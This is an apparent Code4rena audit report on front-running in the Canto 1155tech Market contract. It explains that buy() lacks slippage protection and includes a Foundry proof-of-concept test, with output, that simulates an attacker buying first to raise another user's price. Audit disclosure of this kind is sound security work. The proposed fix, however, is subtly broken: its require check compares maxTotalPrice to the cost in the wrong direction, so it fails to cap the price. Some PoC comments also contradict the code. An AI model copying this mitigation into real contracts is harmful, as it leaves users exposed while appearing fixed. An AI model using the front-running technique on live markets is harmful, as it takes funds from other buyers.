Canto Application Specific Dollars and Bonding Curves for 1155s - neocrao's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150

Vulnerability details

Title

The token price for shares can be inflated for another buyer

Links to affected code:

https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150

Description

The Market::buy() function has the following signature:

function buy(uint256 _id, uint256 _amount)

If takes in the share ID and the amount of tokens that the user wants to buy. The price of the token is determined by a Bonding Curve, which takes in how many tokens already exist for the share ID, and how many tokens the user wants to buy. Currently, the project only supports a Linear Bonding Curve, where the price keps going up with the amount of tokens that already exist and the amount of tokens that the user wants to buy.

Now, the Market::buy() function does not provide "max price" parameter that the user could set, and so the Market::buy() function goes through with the price at the moment of the execution of the transaction. So the user might anticipate X amount of payment tokens to spend when buying the Y amount of tokens of the share, but in reality, they might end up spending Z amount of payment tokens, which could be more than the expected X tokens.

Impact

A user might be interested in buying some tokens of a share, lets say 20 tokens of share. And by calling the Market::getBuyPrice() it might suggest a price of 50 payment tokens. But another user could monitor the transactions, and perform a price manipulation attack by buying tokens first, which would then raise the price of tokens of the share, and the original user might then end up paying more than 50 payment tokens.

Proof of concept

The test below can be placed in 1155tech-contracts/src/test/poc.t.sol, and use the following command to execute it

forge test --match-test "test_poc_userBuysAtHigherPrice" -vvv

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../Market.sol";
import "../bonding_curve/LinearBondingCurve.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MarketTest is Test {
    Market market;
    LinearBondingCurve bondingCurve;
    ERC20 token;
    uint256 constant LINEAR_INCREASE = 1e18 / 1000;
    address bob;
    address alice;

    function setUp() public {
        bondingCurve = new LinearBondingCurve(LINEAR_INCREASE);
        token = new ERC20("Mock Token", "MTK");
        market = new Market("http://uri.xyz", address(token));
        bob = address(1);
        alice = address(2);
    }

    function test_poc_userBuysAtHigherPrice() public {
        address shareCreator = address(100);
        address buyer = address(101);
        address attacker = address(102);

        // Create a new share
        market.changeBondingCurveAllowed(address(bondingCurve), true);
        market.restrictShareCreation(false);
        vm.startPrank(shareCreator);
        market.createNewShare(
            "Test Share",
            address(bondingCurve),
            "metadataURI"
        );
        assertEq(market.shareIDs("Test Share"), 1);
        vm.stopPrank();

        deal(address(token), attacker, 1e18);
        deal(address(token), buyer, 1e18);

        // Approvals
        vm.prank(buyer);
        token.approve(address(market), 100e18);
        vm.prank(attacker);
        token.approve(address(market), 100e18);

        uint256 snapshot = vm.snapshot();

        ///////////////////////////////
        // Normal flow to buy shares
        ///////////////////////////////

        console.log("Scenario: Without Attack");

        console.log("   Token Balance Before: ");
        // 0
        console.log("       Market: ", token.balanceOf(address(market)));
        // 10e18
        console.log("       Buyer: ", token.balanceOf(address(buyer)));

        vm.prank(buyer);
        market.buy(1, 10);

        console.log("   Token Balance After purchase: ");
        // 57599999999999998
        console.log("       Market: ", token.balanceOf(address(market)));
        // 942400000000000002
        console.log("       Buyer: ", token.balanceOf(address(buyer)));

        // 57599999999999998
        uint256 buyerCostWithoutPriceManipulation = 1e18 -
            token.balanceOf(address(buyer));
        console.log("   Buyer spent: ", buyerCostWithoutPriceManipulation);
        console.log("");

        ///////////////////////////////
        // Restore the state to simulate the attack now
        ///////////////////////////////
        vm.revertTo(snapshot);

        ///////////////////////////////
        // Attacker front runs the actual buyer
        ///////////////////////////////

        console.log("Scenario: With price manipulation attack");

        console.log("   Token Balance Before: ");
        // 0
        console.log("       Market: ", token.balanceOf(address(market)));
        // 10e18
        console.log("       Buyer: ", token.balanceOf(address(buyer)));
        // 10e18
        console.log("       Attacker: ", token.balanceOf(attacker));

        // Price manipulation by an attacker
        vm.prank(attacker);
        market.buy(1, 10);

        vm.prank(buyer);
        market.buy(1, 10);

        console.log("   Token Balance After purchase: ");
        // 217016666666666661
        console.log("      Market: ", token.balanceOf(address(market)));
        // 840583333333333337
        console.log("       Buyer: ", token.balanceOf(address(buyer)));
        // 942400000000000002
        console.log("       Attacker: ", token.balanceOf(attacker));

        // 159416666666666663
        uint256 buyerCostWithPriceManipulation = 1e18 -
            token.balanceOf(address(buyer));
        console.log("   Buyer spent: ", buyerCostWithPriceManipulation);
        console.log("");

        console.log(
            "Buyer paid",
            buyerCostWithPriceManipulation - buyerCostWithoutPriceManipulation,
            "more when price manipulated!"
        );
    }
}

Output:

  Scenario: Without Attack
     Token Balance Before: 
         Market:  0
         Buyer:  1000000000000000000
     Token Balance After purchase: 
         Market:  57599999999999998
         Buyer:  942400000000000002
     Buyer spent:  57599999999999998
  
  Scenario: With price manipulated attack
     Token Balance Before: 
         Market:  0
         Buyer:  1000000000000000000
         Attacker:  1000000000000000000
     Token Balance After purchase: 
        Market:  217016666666666661
         Buyer:  840583333333333337
         Attacker:  942400000000000002
     Buyer spent:  159416666666666663
  
  Buyer paid 101816666666666665 more when price manipulated!

Severity Justification

This is High severity, based on the Code4rena Severity Categorization: https://docs.code4rena.com/awarding/judging-criteria/severity-categorization

3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).

Tools Used

Manual analysis

Recommended Mitigation Steps

Update the Market::buy() function as follows:

    /// @notice Buy amount of tokens for a given share ID
    /// @param _id ID of the share
    /// @param _amount Amount of shares to buy
-   function buy(uint256 _id, uint256 _amount) external {
+   function buy(uint256 _id, uint256 _amount, uint256 maxTotalPrice) external {
        require(shareData[_id].creator != msg.sender, "Creator cannot buy");
        (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID
+       require(maxTotalPrice <= price + fee, "Exceeds expected price");
        SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee);
        // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy
        // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy
        uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
        // Split the fee among holder, creator and platform
        _splitFees(_id, fee, shareData[_id].tokensInCirculation);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;

        shareData[_id].tokenCount += _amount;
        shareData[_id].tokensInCirculation += _amount;
        tokensByAddress[_id][msg.sender] += _amount;

        if (rewardsSinceLastClaim > 0) {
            SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim);
        }
        emit SharesBought(_id, msg.sender, _amount, price, fee);
    }

Assessed type

Other